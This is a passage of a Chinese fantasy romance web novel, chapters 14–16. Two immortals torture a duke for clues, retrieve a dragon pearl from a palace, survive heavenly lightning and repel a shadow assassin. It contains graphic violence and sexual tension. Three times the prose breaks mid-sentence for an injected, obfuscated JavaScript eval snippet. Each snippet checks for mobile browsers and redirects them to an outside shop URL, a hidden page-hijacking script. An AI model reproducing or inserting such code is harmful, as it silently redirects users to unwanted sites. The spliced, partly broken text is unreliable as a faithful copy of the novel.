正事要紧,风照卿最终还是把气吞进肚子里,默默去把国公的衣服拿来盖在他白花花的身上。 “掐他人中就行了。”元出尘说道,对付凡人他还是知道轻重的,食魂花的叶片无毒,但足以让凡人昏睡三日。 国公被刺痛惊醒,张开满嘴金牙正要破口大骂,忽见眼前竟是两位美人,一个青涩俊逸翩翩少年,一个俊美无暇高岭之花,实乃人间极品。 他咧开嘴露出了贪婪的笑,伸出手就要往元出尘的中衣探去。元出尘瞳孔骤然一变,隔着衣服狠狠甩了他一巴掌。 国公不怒反笑,满是享受地捂着脸道:“哟,还是个有脾气的美人,我更喜欢了!” 说着他便要起身向元出尘扑去,风照卿忍无可忍一甩捆仙索打在国公脸上,捆仙索气得上下左右东西南北乱窜,风照卿连忙安抚道:“抱歉抱歉,一时心急拿你当刑鞭用了。”赶紧收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052719|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了捆仙索,掌心化出了刑鞭。 国公看着风照卿手上以雷为鞭的刑具,吓得丢了魂,浑身的肉都抖了起来,颤颤巍巍道:“来,来,来人啊!有,刺,刺客……” “你府上如果还有活人,我们怎么进得来?”元出尘冷言道。 国公眼睛一翻就要晕过去,风照卿毫不手软一鞭子打下去,国公霎时清醒。 元出尘挑眉看了风照卿一眼,半是赞赏半是阴阳怪气道:“不错,你这朱雀狱官上手挺快。” “二位老爷,祖宗!你们,你们要什么我都可以给!我,我有很多金银财宝,还有,还有那些美人,随你们挑!求你们放我一条生路啊!”国公跪在地上拼命磕头,哭爹喊娘道。 元出尘负手站在国公面前,居高临下看着他匍匐在地,嗓音清润却听不出半分温情:“我要你的左眼。” 国公摊在地上,想晕又怕挨鞭子,哭得一把鼻涕一把泪:“给,给您……活着就行,活着就行。” “你这左眼是自己的吗?”风照卿问道。 闻言,国公本就煞白的脸直接青了,半天说不出一个完整的字。 元出尘没有耐心听他结结巴巴,水丝从袖中钻出,化作奴针,直接飞入国公体内,问道:“你的左眼从何而来?” 国公疼得在地上翻来覆去:“神仙饶命,神仙饶命!是,是一条龙的!” “那龙现在身在何处?!”元出尘攥紧了拳头,怒道。 “不,不知道,被一个,一个游医救走了……饶了我吧!” “除了挖眼,你还对他做了什么?” “他,他的龙珠,我拿去献给陛下了!”国公疼得满地打滚,元出尘话音刚落他就一股脑全招了。 元出尘脸色铁青,声音冷如寒铁:“给我把他双眼都挖出来!手也一并砍断!” “不要啊!我就用了他一只眼睛……啊——” 风照卿凝出灵力为刃,将他左眼剜下,忽觉此人体内有股残存的灵力存在。 “他好像中过法术。” 元出尘闻言微惊,又开口命令道:“把你见过那条龙后做过的所有事,遇见的所有人一五一十地说出来。” 国公已经疼得只剩一口气了,竹筒倒豆子似的开口道:“那条龙被一个村姑捡到了藏在家里养伤,我去要债发现了他,打算掳来做娈童,却被他打伤了,我本来跑了,路上却遇到个黑衣人,他告诉我那条龙是被贬下凡的罪仙,没有法力。还告诉我,只要我把龙角割下来就可以换三座金山;把龙珠取出来献给皇帝,就会有一辈子享不尽的荣华富贵;把他的眼睛挖出来,我就不再是独眼龙了;最后,把罪仙杀了,还能积阴德。我一时鬼迷心窍就去了,也不知道哪来的力气,居然打得过他了!还真把他龙珠打出来了,我本来真想杀了他积积阴德,结果半路出来个游医坏我好事,把他救走了。” 黑衣人…… 风照卿与元出尘不安地对视一眼。 “那个黑衣人长什么样?有什么特征?”元出尘问道。 “看不清,他浑身黑,一定是他给我下了邪术!不关我的事啊!我是中了法术失了神志,您大人有大量饶了我!” 风照卿以雷鞭捆住他的右臂,猛地一拽,国公整条手臂瞬间脱落,鲜血淋漓:“你身上的法术不过是让你短时间拥有一些法力罢了,你若没有害人之心,黑衣人可驱使不了你!” 敖丰元是查风兮仪的案子才出了意外,这个加害敖丰元的黑衣人很可能也是杀害风兮仪的凶手,可如今只是知道了这黑衣人的存在,其他什么线索也没有,当务之急,须得先找到敖丰元,以免他落入奸人之手。 元出尘面色凝重,沉声道:“走吧,先去皇宫取龙珠,找丰元要紧。” 14. 第 14 章 皇宫内戒备森严,人员繁杂,风照卿没办法像潜入国公府那样粗暴地将所有人打晕,元出尘的迷药也不足以覆盖整座皇宫,只好以法术隐去身形。 “宫门已闭,啸天,你自行跃进去,我带狱神。”风照卿简单明了地说道,转身干脆利落地将元出尘打横抱起。 元出尘被他这自然的动作惊到了,凤眸微瞪,面上还是尽量端着高高在上不容亵渎的模样,可身体贴着少年炽热的胸膛一时竟有些无措:真是初生牛犊不怕虎,居然敢抱狱神? 元出尘离自己仅有咫尺,幽幽的莲香钻进鼻子,挠得风照卿心头有些痒,他屏住呼吸,不想被那熟悉的香气扰乱了心神,轻一点地,飞身跃过城墙,立即将元出尘放下。 风照卿从袖中拿出敖丰元送的夜明珠给啸天嗅了嗅,它便飞快地向着一处美轮美奂的宫殿跑去。 国公府尚且荒|淫不堪,龙珠就在皇宫内,宫人受到的影响更大,一路走来风照卿经过各个角落都能听到一些不可描述的声音,让他一阵头皮发麻,身旁的人又时时散发着淡淡的莲香,腹中一股火烧得他有些燥热难耐,悄悄伸出手凝气点在眉心,一股凉意霎时从头顶穿透到脚尖,这才浇熄了那股欲|火。 “照卿……”元出尘忽然抬手搭在了风照卿的肩上,清润的嗓音听来竟有些低哑,脚步也慢了许多。 风照卿不明所以地看向他,这才发现元出尘眼神迷离,白瓷般的肌肤透着三分云霞,额头布满了细密的汗珠,连喘息也变得略微急促。 元出尘如今毫无法力,与城中百姓一般难以抵抗龙珠的力量,竟已有些意乱神迷。 见元出尘这般模样,风照卿才压下去的那股□□瞬间爆燃,身体也不可控地起了变化。他在心底咒骂了一声,连忙在元出尘眉间点了清心咒,顺带着给自己重新补了三记。 那座华美宫殿内呻|吟声此起彼伏,难以想象里头究竟有多少人,现下想来,今日城中的场面倒也不是什么庆典,或许是这三年来乌苏国内的常态了。 元出尘又拿出了食魂花,它似乎开得更娇艳了些,层层叠叠的花瓣贪婪地向四周伸展,将空气中的阴阳之气吸食入体。 元出尘捂住了它的花蕊,轻喝道:“不许吃!”食魂花蔫蔫合上了花瓣,他又撕下一片叶子,夹于两指间,飞针一般将它向窗纸抛去,不多时里头的声音便渐渐平息。 殿内横七竖八躺了数十名美貌女子,皆是衣不蔽体浑身潮|红,中间躺了一个年近半百的男人,大约就是乌苏国国王了。 啸天狂吠着跑进屋内,将桌上的旒冕叼来交给元出尘,龙珠正镶嵌在其上。 元出尘微一发力,将龙珠取下,递到啸天鼻尖说道:“还得拜托你带我们去找丰元。” 啸天吠了两声以示回应,以人族语言回道:“狱神大人,这城内已经没有太子殿下的气息了,救走他的游医应该早就离开了。” 敖丰元当日即返,如今天界过了近三日,人间过了近三年,纵是啸天鼻子再灵敏,也很难一下子追查到。 “凡界游医不多,来过此等蛮荒之地的应该更少,追查她的下落不难,回去再问问那个国公,看看有没有什么线索,”元出尘将龙珠收进锦囊里说道,自然地抓住风照卿的手,“事不宜迟,快走吧,两处距离不远,你直接化了真身带我飞过去。” 还未等风照卿回答,元出尘就化了真身,一朵花瓣稀少根系只剩一半的的青莲躺在他手中,风照卿看着他残缺的真身,心头忽然涌上了一阵剧痛。 上一世元出尘忽然告诉自己他要离开三个月,随药神去历练,那三个月里风照卿整夜整夜做噩梦,梦见元出尘再也没回来。 后来,元出尘还是出现了,却是脸色苍白,虚弱无力地出现了,风照卿施法一探发现他竟只剩了半个真身,可无论如何逼问他也不肯与自己说实情。 直到死前他才知道,原来元出尘献了半个真身给自己的养父元佑启重塑真身,好让他复活后报仇雪恨,屠尽青鸾…… 啸天在脚边催促了两声,风照卿这才回过了神,化了麻雀的模样,小心翼翼地衔着青莲向国公府飞去。 国公血流了一地,奴针还在体内发作,已然只剩半条命,听见风照卿和元出尘去而又返,回光返照地惊叫道:“别杀我,别杀我!我没杀那条龙啊!” 元出尘不与他多废话,问道:“救走那条龙的游医是什么人?去了哪?” “那游医的爷爷是天下闻名的神医,今年国王身体不适特地请了他来医治,他们祖孙二人行医天下,听说之后要去西南。” 行医天下。 听到这四个字,元出尘脸上僵了一瞬,但又很快恢复了冷冰冰的模样:“走吧,即刻动身。” 所幸那位神医名声在外,他们刚到西南随意一打听便有了线索。 “您说的是白家小姐吧?她来我们这儿的时候是带了个身受重伤的男子,就是为了照顾他,所以在我们这儿逗留了一年呢。白家小姐医术高明,宅心仁厚,生得又是沉鱼落雁,闭月羞花,明明有着让旁人艳羡的家世,可还是不辞辛苦地跟着爷爷四方行医,救死扶伤,真是仙女转世。他们离开时我们送了好几里路呢。”客栈小二边上菜边说道,毫不吝啬对白小姐的赞赏。 “那位白家小姐去哪儿了?离开时可有带着那位受伤的公子?”风照卿急忙问道。 “白小姐离开近两年了,当时说要去南蛮,如今在哪儿我就不知道了。至于那位公子啊,白小姐一直带着他呢,”说到这儿小二暧昧一笑,“那位公子刚来时,浑身是伤不省人事,看着比街边乞丐还埋汰,被白小姐照顾了半年多,伤好了,人一收拾,看着居然还挺矜贵哦!可惜啊,眼睛瞎了……” 风照卿与元出尘对视一眼,已经可以确定小二说的就是敖丰元了。 小二走后,元出尘不紧不慢道:“听起来那位白小姐是位善人,丰元若在她身边,这两年应该出不了什么事,先吃饭吧。” 啸天早就饿了一路,听了这话,捧起满满一碗的肉囫囵吞枣地吃起来,风照卿却还是不大放心,而且他是仙族,不吃倒也无妨。 元出尘举止优雅地端起茶杯抿了一口,只这一个动作便引得旁人纷纷侧目,舍不得将眼睛从这位俊美修雅的公子身上挪开。 见风照卿迟迟不动筷,元出尘似是想起了什么,伸出手放在他面前那碗米饭上方,不过片刻,他收回手,米饭上散发着淡淡的莲香。 风照卿疑惑地看了他一眼,他却只是轻描淡写道:“凡界没有花香稻,凑合着吃吧。” 啸天听了这话不由得愣住了:狱神大人原来……和主人一样关爱下属!从前散播狱神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052720|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人残暴谣言的人是谁?等我回了天界,一定为狱神大人正名! 忽见啸天满眼热忱地望着自己,元出尘没由来的起了一阵鸡皮疙瘩,蹙眉轻斥道:“看什么?赶紧吃。” “汪!” 元出尘没兴趣理睬啸天突如其来的兴奋,反正犬族都是如此,一天到晚兴奋个没完,还是羽族好点,叽叽喳喳也蛮好听的。 风照卿也微微发愣,但很快回了神,拿起筷子夹了一口米饭送进嘴里,幽幽的莲香从舌尖蔓延到全身,让他紧绷的神经也不自觉放缓了些。 “你不是离开天狱就没有法力吗?为何还能召出那么多奴针?”风照卿随口问道。元出尘那日给他蒙眼睛的东西是水丝,水丝刀枪不入,是件防御利器;而奴针攻击性极强又数量繁多,叫人应接不暇。有这两样东西护体,想来他即使出了天狱,也没什么人能真正威胁到他。 “是织女做的机关,她能织万物,帮我做的每一件外袍里都藏有一万根奴针。怎么,你想要?” 风照卿脑海中忽然浮现出了刺猬的模样,不禁觉得好笑,道:“织女姐姐真是巧思。”嘴上虽不吝赞美,心里却又泛起了醋味儿,他都不知道听到织女的名字几次了…… 元出尘认可地点点头。当时收到这份礼物,他也很开心,本来义夫将水丝赠予他是担心他哪天离开天狱会出意外,水丝刀枪不入,可以护他周全。如今即使没有法力,有织女为自己设计的外袍,他保全自己的同时,还能反击,实乃良器。 —— 虽说以目前的情形看来丰元应该尚且安全,但他们也不敢怠慢,吃饱喝足便又踏上南蛮之路。可到了南蛮又听说白家往北去了京城,到了京城又听说白家去了北疆。 三人(?)无奈辗转各地,元出尘以凡人之躯不眠不休了三天三夜,终于支撑不住,在风照卿腾云驾雾时,腿一软,从云上掉了下去。 风照卿忽觉身后一凉,回过头只见一抹青色衣角自云端坠落,一时慌了神直接跳下祥云,在元出尘将要落地时才堪堪接住了他。 “你怎么了?”风照卿担忧道。 “无妨。”元出尘黑了脸,自从修得人形后还不曾如此落魄过,才三天居然就撑不住了。 风照卿见他唇色发白,无奈道:“休息一会儿吧。” “丰元还下落不明。”元出尘很想站起身,可是他明显感觉到双腿在打颤。 “那也不能丰元还没找到,你自己先搭进去了。”风照卿不由分说地摁住他的肩膀。 “我死不了的。”元出尘说道。继任者出现之前,狱神金身不破。 风照卿闻言心中郁结,气道:“不会死难道不会病吗?好歹从前也是天医,累了不知道说一声嘛?” 听到天医二字,元出尘目光一沉,低下头闭口不言,一副拒人千里的样子。 风照卿从来都见不得元出尘委屈的样子,明明是他对不起自己,还把所有事情忘得一干二净,可一见他黯然伤神的模样,风照卿又觉得千错万错都是自己的错,蹲在他身边柔声道:“抱歉……是我没顾及你的凡人之躯。我去给你找些吃的,啸天,你在这儿陪着狱神。” 元出尘抬眼看向风照卿,少年人眼睛里盛满了温柔,他眼底的雪也渐渐化开了,忽然有些羞郝:怎么沦落到得让个小孩照顾我了…… 15. 第 15 章 街上叫卖声此起彼伏,风照卿在烧饼摊刚付完钱,万里无云的天空突然炸开了一道旱天雷,本来以为是平常的夏日光景,但那道雷却在云端狰狞不安地蹿动叫嚣着,下一刻竟直直地从天而降,往元出尘所在的林子劈去。 风照卿倒吸一口冷气,顾不上四周都是凡人,直接御风呼啸而去。 待他赶到时,啸天倒在地下呜呜哽咽着,而元出尘发髻凌乱面色苍白,嘴角挂着大片血迹,将一身青衣染得触目惊心。 “怎么回事?为何会突降天雷?”风照卿话音未落,第二道天雷又急急劈下,他连忙撑起结界相抵,可下一刻结界竟直接被天雷击碎,他也被强大的力量震得咳出一口血,半跪在地上。 他看着落在身边的结界齑粉难以置信:即便隐去了六成修为,我抵挡天雷也该是绰绰有余啊。 “这是惩罚狱神的天谴,普通雷刑根本不能与他相提并论……”元出尘奄奄一息道,他用尽最后一点力气推开风照卿,“你带着啸天走,我,我死不了……” 死不了。 当初他失了一半真身回到风照卿身边时也是这么说的。 风照卿面色阴沉,浑身微微颤抖,两颗黑曜石般的眼睛里燃起一股怒火,“别以为死不了就可以随便糟践自己!” 元出尘,你别想这么轻易就死掉!你亏欠我的还没还呢! 最后一道天谴迫不及待地砸了下来,风照卿凝聚全身灵力再次化出结界,又以玄冰剑与天谴相抗,铮鸣声响彻云霄,风照卿的双脚都陷入地里,面上却依旧是毫不退缩。 元出尘失去意识前看到这一幕不由得怔住了:这少年不过五百岁,竟能与天谴抗衡…… 风照卿的额头上布满了细密的汗珠,被天雷压得几乎要跪地,又猛地磕出了一口血:不行,这样下去要顶不住了…… 他回头看了一眼已然昏迷的啸天和元出尘,心一横,默念咒诀,下一刻他的眉间赫然亮起了青鸾神族的印记,一声鸾鸣响彻云霄,他周身灵力霎时暴涨,一双青色羽翼像是终于冲破了禁锢,迫不及待地舒展开来。 随着青羽重现,最后一道天谴生生被风照卿顶了回去,在天边炸成了数朵金色烟花。 青光湮灭,烟花消散,风照卿重新结印收起羽翼,又将真身伪装成麻雀的模样,这才筋疲力尽地浑身瘫软在地上,一点一点爬到元出尘身旁。 他伸手握住元出尘的手,轻轻捏了捏,无力道:“醒,醒醒……” —— 昏沉的迷雾中,元出尘渐渐睁开了眼睛,看见自己化了真身躺在一条血河中,耳边剑气呼啸,战火纷飞,厮杀声由远及近,唤醒了他迷蒙的神智。 这是……屠魔大战? 怎么会回到这个时候?元出尘记得这个场景,他与师父一同到前线救治伤者,结果他不慎被魔族偷袭,打回了原形,此刻正倒在河边奄奄一息,河里满是尸体,血水将他的花瓣都染了色。 突然,耳边炸开一道巨响,竟是魔王的剑气打中了河边的一座山,刹那间百兽哀鸣,山崩地裂,整座山碎成了无数尘埃石块,倾倒进河里,一块巨大的碎石正正朝着元出尘砸来,他闭上眼睛,清楚地记得这时有个神君救了自己…… 果然,下一刻,一只温暖的手将他从河里捞了起来,身形矫健,敏捷地穿梭在落石之间,将元出尘稳稳护在怀中。 “你还好吗?”一个清朗的少年声音在耳边响起。 元出尘悠悠睁开眼睛,看到眼前人惊得说不出话来。 面前的少年眉若墨画,目如朗星,正绽着一脸单纯灿烂的笑颜看着自己,身上的铠甲已残破不堪,左肩受了伤,脸上也血迹斑斑,却并不影响他身上那鼓意气风发的劲儿,而眼角的一颗泪痣又恰到好处地压住了年少轻狂的意味,给俊朗的脸庞添了些温和的善意。 元出尘一时恍惚:照卿? “我见你周身尚有灵力,应该是受伤被打回原形了吧?别怕,我带你回去。”他的声音温柔如水,让人心安。 眼前的风照卿和元出尘认识的风照卿还是不大一样的,眼前的这位身姿更为挺拔高挑,面容似乎也更俊朗些,看上去像是年长一些,已经长开了的风照卿。 偏偏这位年长的风照卿带着一股勃勃生机,看上去就是驰骋疆场的少年将军;而他认识的那个年幼照卿,却时时有股郁色结在眉间。 倏的,眼前人眉间青光一现,随着一声鸾鸣,身后的青羽舒展开来,逆光之下他的脸庞轮廓凌厉,更显丰神俊朗,低下头对元出尘开朗一笑,伸出手轻轻为他擦去满身的血污,柔声道,“青莲该是不染尘埃的,怎么能沾血呢?” 元出尘想伸手拉他,可只是一片叶子动了动,什么也握不到。 随着神君飞起,元出尘眼前的一切却渐渐消散成星屑,浑身的疼痛愈发明显,他不由得皱起眉头闭上眼,待他再次睁眼,才发现方才那一切不过是昏迷之中的一场梦。 左手传来温热的感觉,他偏头看去,便见风照卿握着他的手,倒在身边。 想到自己方才竟然将风照卿的脸代入梦中,元出尘脸上不由得一阵热,却没抽回手,忍着雷劈的伤坐起来,伸手为风照卿号脉:还好,伤得不重,只是累晕了…… 似是察觉到异样,风照卿很快便警惕地醒转过来,见元出尘已经苏醒,迷迷糊糊地从怀里掏出了三个烧饼:“吃……” 元出尘不由得轻笑了一声,接过了饼,坐起身来,终于发现自己的发髻已经完全散掉,便抬手将挂在发梢的红绳拿下来,又摸索着那支青鸾发簪。 忽然,一阵锐利的疼痛从指尖传来,元出尘心底一凉,不管不顾地将那刺痛自己的东西从头上扯下来。 他怔怔地看着断作两截躺在自己手心里的青鸾发簪,心如刀绞,竟忽然觉得喘不过气来。 风照卿看着他僵硬的背影,察觉到不对劲,用颤抖的手支起身子向元出尘靠去,终于看清了让他六神无主的东西。 青鸾发簪,这是他送给元出尘的唯一一件礼物。 风照卿抬眼望向元出尘,他纤长的睫毛似乎挂着一层水雾,眼眶发红,双唇紧抿一语不发,只是盯着青鸾发簪,似有无限执念。 风照卿张了张嘴,像是有很多话想说,但最后只是问道:“这发簪对你很重要吗?” 风照卿的声音让元出尘拉回了一些思绪,他收紧拳头将发簪藏起来,沉默不语。 风照卿也不明白他为何会如此难过,那时候要风照卿命的人是他,如今将风照卿忘得一干二净的也是他,可他为何又对风照卿留下的礼物如此珍视。 眼见元出尘难过,风照卿心紧揪在一块,不自觉轻声安慰道:“回天界,叫仙官拿去修一修就好了。” 元出尘依旧不言不语,闭着眼睛不知在想些什么,良久才终于长叹一口气,无力道:“罢了。” 风照卿微微一愣,不敢置信道:“罢了?” 见元出尘轻轻点头,风照卿仿佛听见了心碎的声音:你终于要将我全部舍弃了吗?也是,你当初想杀我的时候不就是舍弃了我吗?我真是可笑啊,重活一世居然还会沉浸在你的谎言里无法自拔,忘记你对我所做的一切,义无反顾地想救你,可你呢…… 元出尘自然不知身后的风照卿此时此刻内心有多绝望,兀自淡淡道:“我不记得这支簪子,就像不记得为什么会有沧海涯,我只记得,我好像愧对一个人……可是他已经不在了,彻彻底底地消失了,没有人记得。我也一度以为那只是我做的一场梦,梦里有个面目模糊的人倒在我的怀里。直到我去了沧海涯。记忆被抹去了,可痕迹没有,那里的碗筷、衣衫、枕头都是双份的,都在告诉我,那个人是真真正正存在的。” 师父曾告诉元出尘,只有不该想起的过去,才会被忘记。元出尘不信,一直找了五百年也不曾放弃,可今日,这簪子断了,是不是天意在告诉他该放弃了? 元出尘忽然自嘲似的轻笑一声,站起身来整了整污脏的衣衫,没了发簪,索性只用红绳将头发束起,转过身来负手而立,又是一副清冷孤傲,高高在上的狱神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052721|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿态,仿佛方才的一切都是幻象。 风照卿盯着他修长的身影,眼尾泛红,心中满是不甘:元出尘,原来你没有彻底忘记我。你不可以忘了我!你若真敢放弃我,我定要你偿还我受过的所有痛苦。 元出尘自然不知身后人的腹诽,他将一块烧饼放到啸天鼻尖,啸天闻见了食物的香味,很快便醒转过来。 风照卿摁下心中的波涛汹涌,抹去眼角的红晕,配合着元出尘若无其事的表演,自然地问道:“这是怎么回事?怎么突然就降天谴了?” 提起这事元出尘脸色就难看了,微怒道:“上面那三个蠢货怕是巴不得本君回不去。” 风照卿懂了,大约是其他三位狱官代为管理天狱事务,却未处理好罪仙的责罚,天道察觉不妥,便降天谴到狱神身上…… 往日有狱神之力护体,挨三道天谴修养几日便好了,如今他没了法力,挨一道都差点魂飞魄散。 风照卿刚拿出传音铃,它就响了,传来了青龙狱官庄重严肃又带着恐慌的声音:“朱雀,狱神大人还好吗?” “死了,开心吗?”元出尘冷冷道。 那边青龙狱官许久未说话,再开口竟有些哭腔:“属下罪该万死!” “别废话,究竟是怎么回事?!你们三个在上面搞什么!”元出尘怒不可遏。 “方才我要去领通界令牌,却看到李紫叶想私自从归尘台下凡,便将他带到天狱领罚。玄武顾及李紫叶是天帝陛下眼前红人,便想罚些功德糊弄过去,我不肯,按天条私下凡界当受二十雷鞭,白虎又说,您素来看李紫叶不顺眼,若是有机会肯定得狠狠惩罚他,便将我写的二十雷鞭改成了四十……” “胡闹!你们是疯了吗?私下凡界才受二十雷鞭,他下了吗?怎么敢用随意用刑?怎么敢私自篡改刑薄内容?!罚功德又是什么?天条里何时有过罚功德这一说了?本君不在,你们真是无法无天!”元出尘气得差点喷出一口血来。 风照卿在一旁汗颜,这三位狱官在捉拿罪仙上无可挑剔,可真让他们掌事却是一个赛一个不靠谱:玄武爱财,青龙死板,白虎凶恶,都不适合代管狱神之职。 “你们三个,天条天规抄五千遍,本君回去后,差几遍,赏几鞭。”元出尘平淡又冷酷地说道。 青龙倒吸一口冷气,哆哆嗦嗦道:“是……” 闹剧过后,三人皆受了不同程度的伤,暂时没办法追寻敖丰元的下落,只好就近找了间客栈暂时歇下。 白日里亲眼目睹风照卿乘风而去的掌柜说什么也不肯收钱,巴不得把这三个神仙直接挂墙上供起来,跟在他们身后不停地询问被褥可还舒适,洗澡水会否太凉,饭菜合不合口味,最后是啸天不耐烦地冲他吠了几声才肯作罢,讪讪离去。 元出尘没了法力又受了重伤,白日里的天谴已然暴露了他的行踪,也许很快会有仇家找上门来,因此即使在客栈外设下了结界,风照卿也不敢让他独自一人待着,和啸天一起在屋子里打地铺。 为元出尘运功疗伤后,风照卿躺在地铺上,望着窗外满天繁星出神,远处传来隐约的蝉鸣,夏夜的微风透进来,卷起一阵莲香,他今日耗费了大量灵力,很快就在这片安逸中陷入了沉睡。 元出尘听见风照卿均匀的呼吸声,忍不住侧过身借着月色打量他。 月光下风照卿的睡颜显得温柔宁静,眉头微皱,眼角的泪痣让他看上去格外惹人怜惜,元出尘不禁伸出手把他的眉头抚平。 这张尚且稚嫩的脸再过些年应该就是他梦中的模样了吧,不皱着眉头,脸上倒是没了那股郁色,与梦里的模样更像了。 元出尘这才想起他似乎从未见风照卿对自己笑过,每次他见到自己,眼里总是带着一股莫名其妙的怨气,元出尘还怀疑是不是自己曾经惩罚过他的亲友,可思来想去,自己对羽族向来宽容,不存在这种可能性。 他如果能像梦里那样开朗恣意地笑一笑就好了。元出尘自己也不知为何,居然惆怅地轻叹一声,又伸出手,帮风照卿把被子拉上去一些。 16. 第 16 章 夏夜燥热,元出尘睡得并不安稳,夜半时分忽闻一阵异动,睁眼一看竟是风照卿爬到自己身上,还捂住了自己的嘴。 黑暗中元出尘脸色微变,手刚要动就被风照卿摁住了,脑子里忽然传来了风照卿的声音:“别动,外面有东西。” 风照卿刚阖眼,便感受到外头有股蠢蠢欲动的力量,想也知道那一定是冲着元出尘而来。虽然他对元出尘有怨恨,但要报仇也只能是他亲自动手,旁人休想伤害元出尘。 他用灵力传音,元出尘没有法力没法回应,只好僵着身子任他压在自己身上。风照卿温热的呼吸落在元出尘的脖颈,乌黑的长发垂在他脸颊边,蹭得元出尘痒痒的,惹得他浑身不自在,可风照卿却是一副神色肃然的模样,他捏紧拳头,极力克制着自己异样的思绪,梦中那股羞愧的感觉又猛然袭上心头:他是我的狱官,比我小一千多岁!我怎么能…… “来了。”风照卿沉声道。 元出尘余光果然看见一抹黑影从窗边探进来,可影子上方却什么也没有。黑影离床边越来越近,风照卿却并不紧张,呼吸均匀,仿佛睡着了一般,虽明显感受到身下人逐渐升高的体温,但暂时无暇理会。 不消片刻,黑影如游魂般来到床边,伸出影手掀开被子。就在风照卿露出肩膀的一瞬间,他一个翻身,用藏在手中的匕首扎在黑影掀被子的手上。 黑影颤抖了起来,在地上像一团乌云般乱滚,试图挣扎逃跑。 “别做无谓的挣扎了,此匕首乃狱神所制,你是拔不……” 风照卿话音未落,只见黑影脸上露出了一个月牙形的空洞,似乎是施法者露出了一个极具挑衅的笑,下一刻,匕首扎住的黑影一角竟浮了起来,风照卿这才看清自己方才根本没有扎中它,黑影的手上居然有一个破洞,而匕首恰好穿过了那个洞。 方才它那般挣扎舞动似乎只是在耍风照卿,此刻黑影轻轻松松从匕首脱出,只一眨眼便消失无踪。 “怎么会……”风照卿惊讶道,这月色朦胧,自己居然没注意到那么明显的破洞,让他逃了。 黑暗中风照卿撑坐在元出尘身上兀自懊恼,直到察觉到身下人的体温烫人,又有个坚硬的东西硌着自己小腹,这才反应过来,慌忙一个翻身滚了下去。 风照卿慌张道:“抱歉!事发突然,我,我想不到更好的办法引他上钩……” 身上的重量突然减轻,元出尘却并不觉得轻松,甚至有些难受不舍。他坐起身,盯着风照卿的背影,轻咳一声掩饰尴尬,义正严辞道:“人就在眼前,居然还让他跑了,回去后写三千字检讨。” 风照卿有些垂头丧气地应了声嗯,看了看外头的天色,说道:“还早,你再睡会儿,我站岗。” 这几百年在元出尘手里魂飞魄散或贬下凡界的罪仙不在少数,有不少罪仙的亲友对他怀恨在心,现下知道他出了天狱自然不会放过这个机会,有一个以身试险,便会有两个三个,风照卿用雀仙的身份施展不开拳脚,无法保证每次都能护他周全,必须得尽快找到敖丰元,回天狱才算真正安全。 他看着地上的影子陷入沉思:接影术是异常危险的术法,施法者身影分离,将魂魄赋与影子,借影子穿透结界,最后再召回肉身便可无声无息越过结界,可一旦影子被抓住,施法者轻则灵魂残缺失去神智,重则当场魂飞魄散。 这法术危险,也十分难修,唯有上仙才有可能习得。 元出尘见他又是一副愁眉不展的样子,大概猜到他在想什么,便轻声说道:“上仙并不多,撇去你们四位狱官,统共不过十二位,想抓人并不难。我们天一亮便动身,白家离开西南后一路北上,我猜他们也许是要带丰元回北海,我们明日沿着去北海最近的路找,应该很快会有线索。” 风照卿却觉得有些不对劲,思忖片刻道:“可是,既然上仙寥寥无几,那他用接影术这种高阶术法,不就等于自曝身份了吗?那几位上仙会如此愚蠢吗?” 元出尘微微一怔,话虽如此,但也找不出其他人选了。他疑惑道:“难不成你觉得这是某位神君做的?” 风照卿并不回应,只是问道:“被贬下凡的仙官,会被废去修为吗?” “仙骨都剔了,修为自然也散了。” 风照卿沉默良久,又问道:“你还记得乌苏国的国公吗?那个黑衣人借了些许法力给他,希望借刀杀人除掉丰元。” 元出尘与风照卿对视一眼,立即明白了他的意思:“你的意思是,也许方才施展接影术的人并非上仙,只是有人借了法力给他,让他暂时有了上仙的修为?” 风照卿点点头,目光沉沉地看着元出尘:“所以施法者不一定是上仙,甚至借法术的那人也不一定是上仙,只要他们二人的修为叠加后,在短时间内能达到上仙的修为即可施展接影术,并且将所有矛头指向六位上仙。” 元出尘看着风照卿俊俏的脸庞,一想到他不过三百岁便是上仙,又如此心思缜密,心里忽然有了欣赏之意,开口的声音也不自觉带了些柔意:“你说得很有道理。那个黑衣人上一次借出法术,是为了杀丰元灭口,而丰元掌握了风兮仪命案的线索;这一次是想对本君动手,因为一旦找到丰元,线索也就暴露了。如此看来,此人应该就是杀害风兮仪的凶手。” “可是……” 又可是?元出尘忽然有些期待风照卿开口。 